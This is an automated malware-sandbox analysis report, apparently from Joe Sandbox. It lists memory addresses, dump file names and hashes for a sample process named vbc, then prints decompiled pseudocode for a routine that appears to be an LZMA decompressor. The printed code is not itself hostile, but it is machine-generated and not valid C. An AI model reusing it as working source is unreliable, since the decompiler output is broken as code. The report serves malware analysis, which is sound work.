0x00406444
0x00406447
0x0040644a
0x0040644a
0x0040644d
0x00406450
0x00406453
0x00406453
0x00406456
0x0040645d
0x00406462
0x00000000
0x00000000
0x004064f0
0x004064f0
0x004064f4
0x00406892
0x00000000
0x00406892
0x004064fa
0x004064fd
0x00406500
0x00406504
0x00406507
0x0040650d
0x0040650f
0x0040650f
0x0040650f
0x00406512
0x00406515
0x00000000
0x00000000
0x004060e5
0x004060e5
0x004060e9
0x00406856
0x00000000
0x00406856
0x004060ef
0x004060f2
0x004060f5
0x004060f9
0x004060fc
0x00406102
0x00406104
0x00406104
0x00406104
0x00406107
0x0040610a
0x0040610a
0x0040610d
0x00406110
0x00000000
0x00000000
0x00406116
0x0040611c
0x00000000
0x00000000
0x00406122
0x00406122
0x00406126
0x00406129
0x0040612c
0x0040612f
0x00406132
0x00406133
0x00406136
0x00406138
0x0040613e
0x00406141
0x00406144
0x00406147
0x0040614a
0x0040614d
0x00406150
0x0040616c
0x0040616f
0x00406172
0x00406175
0x0040617c
0x00406180
0x00406182
0x00406186
0x00406152
0x00406152
0x00406156
0x0040615e
0x00406163
0x00406165
0x00406167
0x00406167
0x00406189
0x00406190
0x00406193
0x00000000
0x00406199
0x00000000
0x00406199
0x00000000
0x0040619e
0x0040619e
0x004061a2
0x00406862
0x00000000
0x00406862
0x004061a8
0x004061ab
0x004061ae
0x004061b2
0x004061b5
0x004061bb
0x004061bd
0x004061bd
0x004061bd
0x004061c0
0x004061c3
0x004061c3
0x004061c3
0x004061c9
0x00000000
0x00000000
0x004061cb
0x004061ce
0x004061d1
0x004061d4
0x004061d7
0x004061da
0x004061dd
0x004061e0
0x004061e3
0x004061e6
0x004061e9
0x00406201
0x00406204
0x00406207
0x0040620a
0x0040620a
0x0040620d
0x00406211
0x00406213
0x004061eb
0x004061eb
0x004061f3
0x004061f8
0x004061fa
0x004061fc
0x004061fc
0x00406216
0x0040621d
0x00406220
0x00000000
0x00406222
0x00000000
0x00406222
0x00406220
0x00406227
0x00406227
0x00406227
0x00406227
0x00000000
0x00000000
0x00406262
0x00406262
0x00406266
0x0040686e
0x00000000
0x0040686e
0x0040626c
0x0040626f
0x00406272
0x00406276
0x00406279
0x0040627f
0x00406281
0x00406281
0x00406281
0x00406284
0x00406287
0x00406287
0x0040628d
0x0040622b
0x0040622b
0x0040622e
0x00000000
0x0040622e
0x0040628f
0x0040628f
0x00406292
0x00406295
0x00406298
0x0040629b
0x0040629e
0x004062a1
0x004062a4
0x004062a7
0x004062aa
0x004062ad
0x004062c5
0x004062c8
0x004062cb
0x004062ce
0x004062ce
0x004062d1
0x004062d5
0x004062d7
0x004062af
0x004062af
0x004062b7
0x004062bc
0x004062be
0x004062c0
0x004062c0
0x004062da
0x004062e1
0x004062e4
0x00000000
0x004062e6
0x00000000
0x004062e6
0x00000000
0x00406573
0x00406573
0x00406577
0x0040689e
0x00000000
0x0040689e
0x0040657d
0x00406580
0x00406583
0x00406587
0x0040658a
0x00406590
0x00406592
0x00406592
0x00406592
0x00406595
0x00000000
0x00000000
0x00406343
0x00406343
0x00406346
0x004066b8
0x004066b8
0x00000000
0x00000000
0x00000000
0x00000000
0x0040673f
0x00406743
0x00406761
0x00406761
0x00406761
0x00406768
0x0040676f
0x00000000
0x0040676f
0x00406745
0x00406748
0x0040674b
0x0040674e
0x00406755
0x00000000
0x00000000
0x00406830
0x00406833
0x00406734
0x00406734
0x00000000
0x00000000
0x0040646a
0x0040646c
0x00406473
0x00406474
0x00406476
0x00406479
0x00000000
0x00000000
0x00406481
0x00406484
0x00406487
0x00406489
0x0040648b
0x0040648b
0x0040648c
0x0040648f
0x00406496
0x00406499
0x004064a7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040678c
0x0040678c
0x00406790
0x004068c8
0x00000000
0x004068c8
0x00406796
0x00406799
0x0040679c
0x004067a0
0x004067a3
0x004067a9
0x004067ab
0x004067ab
0x004067ab
0x004067ae
0x004067b1
0x004067b1
0x004067b1
0x004067b1
0x00000000
0x00000000
0x004064af
0x004064b2
0x004064e8
0x00406618
0x00406618
0x00406618
0x00406618
0x0040661b
0x0040661b
0x0040661e
0x00406620
0x004068aa
0x00000000
0x004068aa
0x00406626
0x00406629
0x00000000
0x00000000
0x0040662f
0x00406633
0x00406636
0x00406636
0x00406636
0x00000000
0x00406636
0x004064b4
0x004064b6
0x004064b8
0x004064ba
0x004064bd
0x004064be
0x004064c0
0x004064c2
0x004064c5
0x004064c8
0x004064de
0x004064e3
0x0040651b
0x0040651b
0x0040651f
0x0040654b
0x0040654d
0x00406554
0x00406557
0x0040655a
0x0040655a
0x0040655f
0x0040655f
0x00406561
0x00406564
0x0040656b
0x0040656e
0x0040659b
0x0040659b
0x0040659e
0x004065a1
0x00406615
0x00406615
0x00406615
0x00000000
0x00406615
0x004065a3
0x004065a9
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b8
0x004065bb
0x004065be
0x004065c1
0x004065c4
0x004065dd
0x004065df
0x004065e2
0x004065e3
0x004065e6
0x004065e8
0x004065eb
0x004065ed
0x004065ef
0x004065f2
0x004065f4
0x004065f7
0x004065fb
0x004065fd
0x004065fd
0x004065fe
0x00406601
0x00406604
0x004065c6
0x004065c6
0x004065ce
0x004065d3
0x004065d5
0x004065d8
0x004065d8
0x00406607
0x0040660e
0x00406598
0x00406598
0x00406598
0x00406598
0x00000000
0x00406610
0x00000000
0x00406610
0x0040660e
0x00406521
0x00406524
0x00406526
0x00406529
0x0040652c
0x0040652f
0x00406531
0x00406534
0x00406537
0x00406537
0x0040653a
0x0040653a
0x0040653d
0x00406544
0x00406518
0x00406518
0x00406518
0x00406518
0x00000000
0x00406546
0x00000000
0x00406546
0x00406544
0x004064ca
0x004064cd
0x004064cf
0x004064d2
0x00000000
0x00000000
0x00406231
0x00406231
0x00406235
0x0040687a
0x00000000
0x0040687a
0x0040623b
0x0040623e
0x00406241
0x00406244
0x00406247
0x0040624a
0x0040624d
0x0040624f
0x00406252
0x00406255
0x00406258
0x0040625a
0x0040625a
0x0040625a
0x00000000
0x00000000
0x004063bc
0x004063bc
0x004063c0
0x00406886
0x00000000
0x00406886
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d1
0x004063d1
0x004063d1
0x004063d4
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e3
0x004063e4
0x004063e6
0x004063e6
0x004063e6
0x004063e9
0x004063ec
0x004063ef
0x004063f2
0x004063f2
0x004063f2
0x004063f5
0x004063f7
0x004063f7
0x00000000
0x00000000
0x00406639
0x00406639
0x00406639
0x0040663d
0x00000000
0x00000000
0x00406643
0x00406646
0x00406649
0x0040664c
0x0040664e
0x0040664e
0x0040664e
0x00406651
0x00406654
0x00406657
0x0040665a
0x0040665d
0x00406660
0x00406661
0x00406663
0x00406663
0x00406663
0x00406666
0x00406669
0x0040666c
0x0040666f
0x00406672
0x00406676
0x00406678
0x0040667b
0x00000000
0x0040667d
0x004063fa
0x004063fa
0x00000000
0x004063fa
0x0040667b
0x004068b0
0x004068d2
0x004068d8
0x004068da
0x004068e1
0x004068e3
0x004068ea
0x004068ee
0x00000000
0x00405edf
0x004068e7
0x004068e7
0x00000000
0x004068e7
0x00406734
0x004067ba
0x004067c0
0x004067c3
0x004067c6
0x004067c9
0x004067cc
0x004067cf
0x004067d2
0x004067d5
0x004067db
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406801
0x00406803
0x00406804
0x00406807
0x004067dd
0x004067dd
0x004067e5
0x004067ea
0x004067ec
0x004067ef
0x004067ef
0x00406811
0x00000000
0x00406813
0x00000000
0x00406813
0x00406811
0x00000000
0x00406686

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62cf5b17206a6db47431eecf79a6a82934569840bddaea447bb47edb6382e710
Instruction ID: bb8ed6064adbc6ac752208bd1780db284a58169b415d1e5229999a4f541ad509
Opcode Fuzzy Hash: 62cf5b17206a6db47431eecf79a6a82934569840bddaea447bb47edb6382e710
Instruction Fuzzy Hash: 11912271D00229CBDF28CF98C854BADBBB1FB44305F15816AD816BB291C7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406398 Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406398() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M004068EF))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8));
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
